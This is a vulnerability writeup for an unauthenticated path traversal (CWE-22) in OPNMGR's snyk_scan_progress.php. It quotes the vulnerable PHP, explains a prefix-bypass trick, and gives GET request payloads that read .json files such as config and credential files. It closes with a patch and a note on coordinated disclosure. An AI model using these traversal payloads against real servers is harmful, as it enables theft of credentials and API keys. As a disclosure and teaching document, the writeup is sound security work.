
Proof-of-concept and writeup for CVE-2026-103978, an unauthenticated path traversal in OPNMGR's snyk_scan_progress.php allowing arbitrary .json file read.
Arbitrary .json file read, no login needed. Found this while reading through the
source of agit8or1/OPNMGR, an OPNsense fleet
manager written in PHP.
| CVE | CVE-2026-103978 |
| Advisory | GHSA-8x7v-vwpx-3wr7 |
| Class | CWE-22 (Path Traversal) |
| Auth | none |
| CVSS v3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 High |
| Fixed in | v3.10.0 |
| Credit | Kanarat Kaeothong (Axiom0x) |
snyk_scan_progress.php sits in the web root and takes a scan_id straight from
the query string, pastes it into a file path, and hands the result to
file_get_contents(). There is no auth include, no session check, no sanitising of
the parameter.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
Every other endpoint in the app pulls in inc/bootstrap.php and calls
requireLogin() before doing anything. This one skips all of it. So scan_id
is attacker controlled, drops into the path verbatim, and the file body comes
back in the response.
One wrinkle: the prefix snyk_scan_ is glued to whatever you send, so a payload
that starts with .. gets eaten (snyk_scan_.. is just a weird filename in /tmp).
You need a throwaway segment first so the .. actually becomes a parent-directory
hop:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
The trailing .json is forced by the code and there is no null-byte trick in
modern PHP, so you can only read files that end in .json. In a real PHP deployment
that is not much of a limit. Config files, service-account keys, composer
auth.json, cloud credentials, most of the juicy stuff is already .json.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
There is a runnable version in poc/poc.sh.
Any file ending in .json that www-data can read, disclosed to anyone who can
reach the page. On a box that manages OPNsense firewalls that usually means API
keys and credentials.
Add the auth include the rest of the app uses, and validate scan_id against a
tight allow-list before building the path:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
Maintainer shipped the fix in v3.10.0.
Reported through coordinated disclosure. The vulnerable version is no longer the current release. Writeup is here for reference and learning.